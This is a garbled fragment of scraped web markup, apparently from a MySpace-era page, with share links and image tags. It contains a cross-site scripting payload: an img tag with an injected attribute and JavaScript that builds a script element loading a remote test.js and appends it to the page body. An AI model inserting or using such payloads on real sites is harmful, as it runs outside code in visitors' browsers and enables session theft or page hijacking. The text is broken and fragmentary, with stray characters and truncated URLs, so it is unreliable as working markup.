type="application/x-shockwave-flash"
View on Grouper.com Add to MySpace profile
.........
img src="http://c.myspace.com/Groups/00005/88/19/5609188_m.gif". ........
.........
.........
img src="http://xss.xss/xss.jpg" x='
...."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /